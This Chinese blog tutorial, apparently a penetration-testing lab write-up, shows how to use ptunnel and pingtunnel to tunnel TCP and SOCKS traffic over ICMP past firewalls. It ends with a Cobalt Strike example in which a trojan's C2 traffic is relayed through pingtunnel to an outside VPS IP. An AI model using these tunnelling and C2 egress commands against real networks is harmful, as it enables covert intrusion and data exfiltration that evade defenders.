网站首页 > 资源文章 正文
前言
在渗透测试工作中,经常会碰到web入口机或内网主机无论使用TCP、UDP都无法使其上线c2服务端,且web入口主机被层层waf保护,reg、abtts、tunna等HTTP代理都无法使用的情况。如果目标主机可以ping通外网,不拦截icmp数据包,那此时可选择使用icmp协议隧道把目标内网流量转发出来,这里把学习搭建icmp隧道的过程记录一下。
ICMP隧道
ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在icmp协议下就不需要。最常见的ping命令就是利用icmp协议,在一些网络环境中,如果攻击者使用各类上层隧道进行的操作都失败了,常常会通过ping命令访问远程计算机, 这是因为icmp隧道将TCP/UDP数据封装到ICMP的ping数据中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问。
使用场景
在渗透测试工作中,经常会碰到web入口机或内网主机无论使用TCP、UDP都无法使其上线c2服务端,而且web入口主机被层层waf保护,reg、abtts、tunna等HTTP代理都无法使用的情况。如果目标主机可以ping通外网,不拦截icmp数据包,那此时可选择使用icmp协议隧道把目标内网流量转发出来,防火墙一般也不会屏蔽ping的数据包。
靶场配置
- kali靶机:模拟不出网主机,只有icmp协议才可访问互联网
- vps: 用作ptunnel服务端,响应ping请求
ptunnel安装:
#安装libpcap的依赖环境
apt-get install byacc
apt-get install flex bison
#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
安装完libpcap依赖,运行ptunnel提示找不到libpcap:
- 执行 locate libpcap.so.1,查看libpcap.so.1在系统中的路径
- 随后以管理员权限打开编辑 /etc/ld.so.conf文件, 末尾追加libpcap的路径
- 以管理员权限执行 ldconfig命令加载配置
针对内网机安装libpcap依赖容易出现问题,可copy libpcap.so文件至内网机,修改/etc/ld.so.conf文件加载配置。
这里配置防火墙,模拟ICMP出网的场景:
# 允许icmp协议访问42/8段
iptables -A INPUT -s 42.0.0.0/8 -p icmp -j ACCEPT
# 禁止TCP协议访问119/8段
iptables -A INPUT -s 42.0.0.0/8 -p tcp -j DROP
# 清除预设表filter中的所有规则链的规则
iptables -F
# 清除预设表filter中使用者自定链中的规则
iptables -X
# 查看iptables的配置信息
iptables -L -n
icmp可出网,tcp不出网:
利用过程
vps运行ptunnel,作为ptunnel的服务端。
内网机执行ptunnel,作为ptunnel的客户端。
-p 指定跳板机的IP
-lp 指定转发本地监听的端口
-da 指定最终要访问的目标主机
-dp 指定最终要访问目标主机的端口
将内网机的2222端口通过ptunnel,重定向至vps的22号端口:
随后内网机的2222号端口就是vps上的22号端口:
通过ssh建立socks代理访问互联网。
在内网机上利用ssh的动态转发功能,ssh监听9000端口开启socks代理,并把流量重定向至vps:
随后内网机配置socks代理,就能访问互联网资源。内网机流量通过vps访问互联网:
浏览器使用插件配置socks5代理:
ptunnel缺点
- libpcap依赖安装较为麻烦
- 目标主机程序需要通过socks代理才能出网
利用pingtunnel建立icmp隧道
服务端参数
./pingtunnel -type server
客户端参数
#本地监听1081端口开启socks代理,并把流量重定向到vps,此时内网机器的流量通过vps出去
./pingtunnel -type client -l :1081 -s vps服务端地址 -sock5 1
#转发tcp
#本地监听1081端口,并把该端口通过服务端重定向至vps的80端口
./pingtunnel -type client -l :1081 -s vps服务端地址 -t vps:80 -tcp 1
#转发udp
./pingtunnel -type client -l :1081 -s www.yourserver.com -t www.yourserver.com:1081
vps运行pingtunnel,作为icmp的做服务端:
内网主机开启socks代理,并把流量转发到vps,此时socks的流量通过vps出去。
配置代理即可:
CS上线
CS建立监听127.0.0.1:6666和vps:7777:
使用listener 2的监听生成木马:
vps服务端执行操作
./pingtunnel -type server
在靶机执行操作:
pingtunnel.exe -type client -l 127.0.0.1:6666 -s 42.192.170.47 -t 42.192.170.47:7777 -tcp 1
运行木马,CS监听上线:
总结
通过本次对icmp隧道穿透的讲解,我们掌握了如何在目标服务器不出网的情况下上线c2服务端的方法,后续我们将继续学习通过dns来搭建隧道的方法。
猜你喜欢
- 2024-11-26 网络管理员必备Windows网络诊断和配置命令
- 2024-11-26 Windows 维护小手册-3 「CMD常用命令大全」
- 2024-11-26 玩游戏460延迟较高,教你一招解决网速问题(建议收藏)
- 2024-11-26 C/C++恶意代码盘点(二):后门丨文件监控丨自删除功能
- 2024-11-26 电脑技巧-实用Win+R命令大全,老司机必备哦!
- 2024-11-26 Go 每日一库之 fyne:跨平台 GUI 库
- 2024-11-26 自建KMS服务器之常见故障排查
- 2024-11-26 REvil勒索软件团伙利用Kaseya VSA发起大规模供应链攻击
- 2024-11-26 电脑系统CMD命令dos命令大全
- 2024-11-26 WinCC实现访问Redis方法
你 发表评论:
欢迎- 最近发表
- 标签列表
-
- 电脑显示器花屏 (79)
- 403 forbidden (65)
- linux怎么查看系统版本 (54)
- 补码运算 (63)
- 缓存服务器 (61)
- 定时重启 (59)
- plsql developer (73)
- 对话框打开时命令无法执行 (61)
- excel数据透视表 (72)
- oracle认证 (56)
- 网页不能复制 (84)
- photoshop外挂滤镜 (58)
- 网页无法复制粘贴 (55)
- vmware workstation 7 1 3 (78)
- jdk 64位下载 (65)
- phpstudy 2013 (66)
- 卡通形象生成 (55)
- psd模板免费下载 (67)
- shift (58)
- localhost打不开 (58)
- 检测代理服务器设置 (55)
- frequency (66)
- indesign教程 (55)
- 运行命令大全 (61)
- ping exe (64)
本文暂时没有评论,来添加一个吧(●'◡'●)